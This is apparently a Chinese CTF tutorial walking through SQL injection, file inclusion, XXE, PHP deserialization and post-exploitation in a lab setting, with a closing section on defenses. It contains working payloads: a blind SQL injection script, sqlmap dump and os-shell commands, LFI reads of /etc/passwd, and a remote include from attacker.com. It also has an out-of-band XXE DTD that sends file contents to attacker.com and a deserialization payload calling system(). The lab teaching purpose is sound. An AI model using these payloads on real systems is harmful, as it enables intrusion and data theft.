青少年CTF Web 8题实战:SQL注入到PHP反序列化,5类漏洞完整复现
青少年CTF Web安全实战:从SQL注入到PHP反序列化的5类漏洞深度解析
1. 靶场环境搭建与漏洞分类体系
在开始实战之前,我们需要先搭建一个标准的CTF靶场环境。推荐使用Docker快速部署,以下是一个基础环境的Docker Compose配置示例:
version: '3' services: web: image: vulhub/web:ctf-base ports: - "80:80" - "3306:3306" volumes: - ./web:/var/www/html - ./db:/var/lib/mysql environment: MYSQL_ROOT_PASSWORD: qsnctf123漏洞类型与对应靶场配置:
| 漏洞类型 | 所需组件 | 典型特征文件 | 难度等级 |
|---|---|---|---|
| SQL注入 | MySQL+PHP | login.php | ★★☆☆☆ |
| 文件包含 | PHP allow_url_include | file=index.php | ★★★☆☆ |
| XXE漏洞 | libxml2 2.8.x | xxe.php | ★★★★☆ |
| PHP反序列化 | PHP 7.4+ | unserialize.php | ★★★★★ |
| 命令执行 | system()函数 | cmd.php | ★★★☆☆ |
提示:实际CTF比赛中,往往需要组合多种漏洞类型才能获取flag,建议按从易到难的顺序搭建靶场。
2. SQL注入实战:从基础到高级利用
SQL注入是Web安全中最经典的漏洞类型,我们先从最基础的注入开始:
基础注入检测流程:
- 单引号测试:
'观察是否报错 - 逻辑测试:
1' and '1'='1vs1' and '1'='2 - 联合查询:
1' union select 1,2,3-- -
使用sqlmap自动化检测:
sqlmap -u "http://target.com/?id=1" --risk=3 --level=5 \ --batch --dbs --tables --columns --dump进阶技巧——时间盲注: 当页面没有明显回显时,可以使用基于时间的盲注技术:
import requests import time url = "http://target.com/login.php" chars = "0123456789abcdef" flag = "" for i in range(1,33): for c in chars: payload = f"admin' and if(ascii(substr((select flag from flags),{i},1))={ord(c)},sleep(2),0)-- -" start = time.time() requests.post(url, data={"username":payload,"password":"1"}) if time.time() - start > 1.5: flag += c print(flag) break3. 文件包含与PHP伪协议利用
文件包含漏洞常出现在使用include()、require()等函数时未严格过滤用户输入的情况。
常见利用方式:
- 本地文件包含:
?file=../../../../etc/passwd - 远程文件包含:
?file=http://attacker.com/shell.txt - PHP伪协议:
php://filter/read=convert.base64-encode/resource=index.phpphp://input+ POST传入PHP代码
实战案例——读取源码:
GET /index.php?file=php://filter/convert.base64-encode/resource=config.php HTTP/1.1 Host: target.com解码后即可获取配置文件内容,往往包含数据库凭证等敏感信息。
4. XXE漏洞原理与实战利用
XML外部实体注入(XML External Entity)常出现在处理XML输入的场景中。
典型攻击流程:
- 检测XML解析:尝试提交简单XML看是否被解析
- 构造恶意DTD:
<!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>- 利用回显或带外通道提取数据
无回显情况下的利用:
<!DOCTYPE xxe [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; %send; ]>其中evil.dtd内容:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>"> %all;5. PHP反序列化漏洞深度解析
PHP反序列化漏洞是CTF中的高频考点,理解其原理需要掌握:
关键概念:
serialize():将对象转换为可存储的字符串unserialize():将字符串还原为对象- 魔术方法:
__wakeup(),__destruct(),__toString()等
典型攻击链构造:
- 寻找可利用的类(有危险方法的类)
- 分析类之间的调用关系
- 构造POP链(Property-Oriented Programming)
- 生成恶意序列化字符串
实战案例代码:
class VulnerableClass { public $dangerous; function __destruct() { system($this->dangerous); } } $payload = new VulnerableClass(); $payload->dangerous = "cat /flag"; echo serialize($payload);输出结果:
O:15:"VulnerableClass":1:{s:9:"dangerous";s:9:"cat /flag";}6. 综合实战:从信息收集到getshell
完整的CTF解题流程通常包含以下步骤:
信息收集:
- 目录扫描:
dirsearch -u http://target.com -e php - 版本识别:
whatweb http://target.com - 注释审计:查看页面源码中的注释
- 目录扫描:
漏洞利用:
- 找到入口点(如上传、登录、参数等)
- 尝试常见漏洞类型
- 组合利用多个漏洞
权限提升:
- 查找可写目录:
find / -writable 2>/dev/null - 利用SUID程序:
find / -perm -4000 2>/dev/null
- 查找可写目录:
获取flag:
- 通常位于
/flag、/root/flag.txt等路径 - 可能需要绕过限制:
cat /fla?、cat /fla*
- 通常位于
典型工具链:
# 信息收集 nmap -sV -Pn target.com gobuster dir -u http://target.com -w /path/to/wordlist.txt # 漏洞利用 sqlmap -u "http://target.com/?id=1" --os-shell phpggc -l # 查找可用的反序列化gadget # 后渗透 linpeas.sh # Linux权限提升检查脚本7. 防御措施与安全编码实践
了解攻击手段后,更重要的是掌握如何防御:
针对SQL注入:
- 使用预处理语句:
PDO::prepare() - 严格输入验证:
filter_var() - 最小权限原则:数据库用户只赋予必要权限
针对文件包含:
- 禁用危险配置:
allow_url_include=Off - 白名单控制:只允许包含指定目录下的文件
- 避免动态包含:如必须使用,应严格校验参数
针对反序列化:
- 避免反序列化用户输入
- 使用
json_encode()替代serialize() - 实现
__wakeup()方法时进行安全检查
通用安全建议:
- 保持组件更新
- 启用错误日志但禁止显示
- 实施WAF规则
- 定期安全审计
在CTF比赛中,这些防御措施往往是被故意弱化的,但实际开发中必须严格执行。